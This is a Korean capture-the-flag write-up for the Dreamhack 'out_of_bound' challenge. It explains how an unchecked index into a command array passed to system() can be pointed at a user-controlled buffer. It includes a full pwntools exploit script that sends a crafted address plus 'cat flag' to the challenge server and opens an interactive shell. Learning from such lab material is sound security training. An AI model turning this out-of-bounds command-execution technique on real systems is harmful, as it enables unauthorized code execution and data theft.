[dreamhack] out_of_bound writeup

1. 문제

thumbnail
out_of_bound

이 문제는 서버에서 작동하고 있는 서비스(out_of_bound)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득하세요.
'flag' 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/11

2. 풀이

전역 변수로 설정된 name16bytes만큼 입력을 받고, 임의의 숫자 값 idx를 입력해서 system(command[idx])를 실행시킨다.

즉, command[idx]cat flag 같은 값을 넣으면 flag값을 얻어 낼 수 있을 것이다.

그런데 마찬가지로 전역변수로 설정된 command 배열을 보면 우리가 원하는 내용이 없는데, 대신에 idx 값을 제한없이 넣을 수 있는 것을 이용해보자. 특히, commandname보다 하위 주소라면, 적절한 idx 값을 통해 name에 접근할 수 있을 것이다.

gdb를 통해 main 함수를 보면 read함수가 입력을 받는 곳이 name이고, 해당 주소가 0x804a0ac임을 알 수 있다.

또한, system 함수가 실행되는 주소를 보면 0x804a060command배열이고, eax에 들어가는 값이 idx임을 알 수 있다.

따라서 command 배열에서 name까지 0x804a0ac - 0x804a060 = 0x4c = 76 bytes만큼 떨어져있고, 배열 하나당 4 bytes씩이므로 idx76/4 = 19로 넣어주면 name을 가리킬 수 있다. 즉, command[19] = name.

그런데 system함수의 정의를 보면 아래와 같다.

int system(const char *string);

즉, name 변수에 우리가 원하는 cat flag같은 string을 바로 넣으면 안되고, 원하는 string을 가리키는 주소가 들어가야 한다. 따라서 name의 첫 4바이트에 name+4의 주소를 넣고, name+4에 원하는 string을 넣으면 해결될 것이다.

3. exploit

from pwn import *

#p = process("./out_of_bound")
p = remote("host3.dreamhack.games", 11989)
e = ELF("./out_of_bound")

# Init
print(p.recv(1024))

payload = p32(0x0804a0b0)
payload += b'cat flag'
p.send(payload)

print(p.recv(1024))
p.send(b'19')

p.interactive()

해결~